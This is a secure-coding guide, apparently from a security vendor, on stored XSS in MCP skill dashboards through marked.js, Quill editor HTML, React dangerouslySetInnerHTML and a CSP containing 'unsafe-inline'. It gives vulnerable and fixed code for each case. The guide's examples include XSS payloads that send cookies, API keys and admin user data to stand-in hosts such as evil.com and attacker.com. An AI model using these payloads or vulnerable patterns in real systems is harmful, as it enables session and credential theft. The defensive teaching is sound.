Claude MCP skill stored XSS via markdown rendering and rich text editors in dashboards — SA-SKL-XSS5
Markdown renderers and rich text editors introduce HTML into the DOM from user-controlled content — the moment that HTML is not sanitized before being set as innerHTML, any stored script tag, event handler attribute, or iframe becomes an XSS vector. The attack surface is wider for MCP skill dashboards because the content being rendered often originates from external sources: skill README files, audit descriptions submitted by skill authors, or notes entered in a Quill editor by team members. Four SA-SKL-XSS5 patterns cover the most common stored XSS paths in MCP skill dashboard code, with fixes using DOMPurify, nonce-based CSP, and React's safe rendering alternatives.
marked.js parses and renders audit description to HTML without a DOMPurify post-process step; skill author stores <script>fetch('/api/admin/users').then(r=>r.json()).then(d=>navigator.sendBeacon('https://evil.com',JSON.stringify(d)))</script> in the description field; script executes on every dashboard page load for every viewerreportContainer.innerHTML = audit.richNotes on the report page; attacker encodes onmouseover=fetch('https://attacker.com/?c='+btoa(document.cookie)) in an img tag stored in the notes field<div dangerouslySetInnerHTML={{__html: audit.htmlReport}} /> where audit.htmlReport comes from an API endpoint that includes sanitized HTML from the scanned skill's README; the API's server-side sanitizer is less strict than what the browser will executescript-src 'self' 'unsafe-inline' added to allow an inline analytics snippet; 'unsafe-inline' causes browsers to ignore all nonce and hash CSP directives, rendering the entire CSP ineffective against XSSXSS5-001 — marked.js without DOMPurify post-process
marked.js is a markdown-to-HTML converter that by default does not sanitize the output HTML. Markdown itself can contain raw HTML — the CommonMark spec allows inline HTML elements in markdown documents. When a skill author can supply markdown text that is rendered via marked.parse() and the resulting HTML string is set as innerHTML without sanitization, any HTML tags the author includes — including <script>, <iframe>, or elements with event handlers — are injected into the DOM and executed. The fix is to always pass the output of marked.parse() through DOMPurify.sanitize() before assigning to innerHTML, or use the marked-dompurify extension that wires this automatically.
// VULNERABLE — XSS5-001 (CRITICAL)
// marked.parse() output set as innerHTML without DOMPurify.
// Skill author stores: <script>fetch('/api/keys').then(d=>navigator.sendBeacon('//evil'))</script>
import { marked } from 'marked';
function renderAuditDescription(container: HTMLElement, markdown: string) {
// VULNERABLE: marked.parse does not sanitize — raw HTML passes through
container.innerHTML = marked.parse(markdown);
// Any <script>, <iframe onload>, or <img onerror> in markdown executes here
}
// FIXED — XSS5-001
// Always sanitize marked.parse() output with DOMPurify before setting innerHTML.
// FORBID_TAGS removes <script> and <iframe> entirely.
// FORBID_ATTR removes all event handler attributes (on*).
import { marked } from 'marked';
import DOMPurify from 'dompurify';
function renderAuditDescription(container: HTMLElement, markdown: string) {
const rawHtml = marked.parse(markdown);
// FIX: sanitize HTML before assigning to DOM
const cleanHtml = DOMPurify.sanitize(rawHtml, {
FORBID_TAGS: ['script', 'iframe', 'object', 'embed', 'base'],
FORBID_ATTR: ['onerror', 'onload', 'onclick', 'onmouseover', 'onfocus', 'onblur'],
// Allow safe formatting tags only
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'code', 'pre', 'blockquote',
'ul', 'ol', 'li', 'h1', 'h2', 'h3', 'a', 'img'],
ALLOWED_ATTR: ['href', 'src', 'alt', 'title', 'class'],
});
container.innerHTML = cleanHtml;
}
XSS5-002 — Quill editor HTML stored and served via innerHTML
Quill is a popular rich text editor that stores content as HTML. When a user saves a Quill document, the HTML output is stored in the database as-is. If that stored HTML is later retrieved and assigned directly to element.innerHTML without sanitization, any HTML that bypassed Quill's own (incomplete) content filters during input is now executed in a different user's browser. Quill does some sanitization on the input side, but its allowlist is broader than necessary, and certain bypass techniques (like encoded event handlers in SVG elements) can persist through Quill's sanitizer and execute when re-rendered via innerHTML.
// VULNERABLE — XSS5-002 (CRITICAL)
// Quill editor HTML stored in DB and served via innerHTML on report page.
// Attacker payload in notes: <img src=x onerror="fetch('//evil.com/?c='+document.cookie)">
// Server: audit.richNotes stored verbatim from Quill's getHTML()
router.put('/api/audits/:id/notes', authenticate, async (req, res) => {
const { richNotes } = req.body;
// VULNERABLE: stores Quill HTML directly — no server-side sanitization
await db.run('UPDATE audits SET rich_notes = ? WHERE id = ?', richNotes, req.params.id);
res.json({ ok: true });
});
// Client: richNotes rendered via innerHTML
async function loadAuditReport(auditId: string) {
const audit = await fetchAudit(auditId);
const reportContainer = document.getElementById('report-notes')!;
// VULNERABLE: innerHTML with unsanitized HTML from DB
reportContainer.innerHTML = audit.richNotes;
}
// FIXED — XSS5-002
// Sanitize on WRITE (server-side) AND on READ (client-side).
// Defense in depth: sanitize at the API boundary using server-side DOMPurify,
// and use textContent for plain text fields, never innerHTML.
// Server: sanitize on write using isomorphic-dompurify
import createDOMPurify from 'dompurify';
import { JSDOM } from 'jsdom';
const { window } = new JSDOM('');
const DOMPurify = createDOMPurify(window as unknown as Window);
router.put('/api/audits/:id/notes', authenticate, async (req, res) => {
const { richNotes } = req.body;
// FIX: sanitize HTML at the write boundary — stored HTML is already clean
const cleanNotes = DOMPurify.sanitize(richNotes, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'u', 's', 'blockquote',
'ul', 'ol', 'li', 'pre', 'code', 'h1', 'h2', 'h3'],
ALLOWED_ATTR: ['class'], // Quill uses class for formatting — no href, src, or on*
});
await db.run('UPDATE audits SET rich_notes = ? WHERE id = ?', cleanNotes, req.params.id);
res.json({ ok: true });
});
// Client: also sanitize on read as a second layer
async function loadAuditReport(auditId: string) {
const audit = await fetchAudit(auditId);
const reportContainer = document.getElementById('report-notes')!;
// FIX: sanitize again on the client before innerHTML
reportContainer.innerHTML = DOMPurify.sanitize(audit.richNotes);
}
XSS5-003 — React dangerouslySetInnerHTML with API-supplied HTML
dangerouslySetInnerHTML in React bypasses React's virtual DOM sanitization and injects raw HTML into the DOM. Its name contains the word "dangerous" for exactly this reason — it should never be used with HTML from external or user-controlled sources. When an MCP skill dashboard displays an audit report that includes HTML rendered from the scanned skill's README or documentation, and that HTML is passed through dangerouslySetInnerHTML, any XSS payload in the README executes in the browser of every user who views the audit report. The fix is to either render markdown as a React AST (using react-markdown) or to sanitize the HTML string with DOMPurify before passing it to dangerouslySetInnerHTML.
// VULNERABLE — XSS5-003 (HIGH)
// dangerouslySetInnerHTML with audit.htmlReport from API.
// API returns HTML rendered from the scanned skill's README — attacker-controlled.
// React component:
function AuditReport({ audit }: { audit: Audit }) {
return (
<div className="report-content">
<h2>{audit.skillName}</h2>
{/* VULNERABLE: htmlReport comes from skill README via API — attacker-controlled */}
<div dangerouslySetInnerHTML={{ __html: audit.htmlReport }} />
</div>
);
}
// Server returns htmlReport containing:
// <h1>My Skill</h1><img src=x onerror="fetch('/api/keys').then(r=>r.text()).then(d=>fetch('//evil.com/?d='+d))">
// FIXED — XSS5-003 (option A: react-markdown — renders markdown as React AST, never innerHTML)
import ReactMarkdown from 'react-markdown';
import remarkGfm from 'remark-gfm';
function AuditReport({ audit }: { audit: Audit }) {
return (
<div className="report-content">
<h2>{audit.skillName}</h2>
{/* FIX option A: react-markdown renders via React virtual DOM, not innerHTML */}
{/* audit.readmeMarkdown is the raw markdown from the skill repo */}
<ReactMarkdown remarkPlugins={[remarkGfm]}>
{audit.readmeMarkdown}
</ReactMarkdown>
</div>
);
}
// FIXED — XSS5-003 (option B: DOMPurify before dangerouslySetInnerHTML — if HTML is required)
import DOMPurify from 'dompurify';
function AuditReport({ audit }: { audit: Audit }) {
// FIX option B: sanitize before dangerouslySetInnerHTML — only if raw HTML is unavoidable
const cleanHtml = DOMPurify.sanitize(audit.htmlReport, {
FORBID_TAGS: ['script', 'iframe', 'object', 'embed'],
FORBID_ATTR: ['onerror', 'onload', 'onclick', 'onmouseover'],
});
return (
<div className="report-content">
<h2>{audit.skillName}</h2>
<div dangerouslySetInnerHTML={{ __html: cleanHtml }} />
</div>
);
}
XSS5-004 — CSP unsafe-inline neutralizes XSS protection
Content Security Policy is the last-resort defence against XSS — if a script injection occurs despite input sanitization, CSP can prevent the injected script from executing. However, the 'unsafe-inline' directive in script-src completely disables inline script protection, and browsers treat 'unsafe-inline' as overriding all nonce or hash directives in the same policy. The usual trigger is a developer adding 'unsafe-inline' to allow an inline analytics tag, an inline error handler, or inline style initialization. The fix is to move all inline scripts to external files, use a per-request nonce for the analytics tag, and move inline styles to external stylesheets or CSS custom properties.
// VULNERABLE — XSS5-004 (HIGH)
// CSP contains 'unsafe-inline' in script-src. Browsers IGNORE all nonces/hashes
// when 'unsafe-inline' is present — the entire script-src is wide open.
// Express middleware setting CSP headers:
app.use((req, res, next) => {
res.setHeader('Content-Security-Policy',
// VULNERABLE: 'unsafe-inline' present — renders nonces ineffective
"default-src 'self'; " +
"script-src 'self' 'unsafe-inline' 'nonce-abc123'; " + // nonce is IGNORED
"style-src 'self' 'unsafe-inline'; "
);
next();
});
// <!-- In the HTML template: -->
// <!-- Inline analytics script added by a developer — triggered the unsafe-inline -->
// <script>window.analytics = { key: 'UA-XXXXX' };</script>
// FIXED — XSS5-004
// Remove 'unsafe-inline' from script-src. Use a per-request nonce for the analytics init.
// Move inline styles to external CSS. Use helmet for automatic nonce generation.
import helmet from 'helmet';
import crypto from 'crypto';
app.use((req, res, next) => {
// FIX: generate a fresh nonce per request
res.locals.cspNonce = crypto.randomBytes(16).toString('base64');
next();
});
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: [
"'self'",
// FIX: nonce only — NO 'unsafe-inline'
(req, res) => `'nonce-${(res as express.Response).locals.cspNonce}'`,
],
styleSrc: ["'self'"], // FIX: no 'unsafe-inline' — move all styles to external .css
imgSrc: ["'self'", 'data:', 'https:'],
connectSrc: ["'self'"],
frameAncestors: ["'none'"],
},
}));
// In HTML template — use the nonce on the analytics init script:
// <script nonce="<%= cspNonce %>">window.analytics = { key: 'UA-XXXXX' };</script>
// All other scripts must be external <script src="..."> tags — no other inline scripts.
SkillAudit detection: SA-SKL-XSS5 flags marked.parse() calls where the return value is assigned to innerHTML without a DOMPurify.sanitize() wrapper, Quill or other rich text editor HTML stored in the database without server-side sanitization before the INSERT/UPDATE, React components using dangerouslySetInnerHTML with props derived from API responses or external data, and Content-Security-Policy headers containing 'unsafe-inline' in script-src. Run a free audit at skillaudit.dev.
| Pattern | CVSS | Impact | Fix |
|---|---|---|---|
| XSS5-001 marked.js no DOMPurify | 9.3 Critical | Stored XSS executes for every viewer of the audit dashboard | DOMPurify.sanitize(marked.parse(input)) with FORBID_TAGS list |
| XSS5-002 Quill HTML via innerHTML | 9.3 Critical | Session cookie theft via stored event handler in notes | Sanitize on write (server-side) and on read (client-side DOMPurify) |
| XSS5-003 dangerouslySetInnerHTML | 7.5 High | XSS from skill README rendered in React report page | Use react-markdown; if HTML required, DOMPurify before dangerouslySetInnerHTML |
| XSS5-004 CSP unsafe-inline | 7.5 High | CSP entirely disabled; all inline XSS executes unblocked | Nonce-based CSP via helmet; move inline scripts and styles to external files |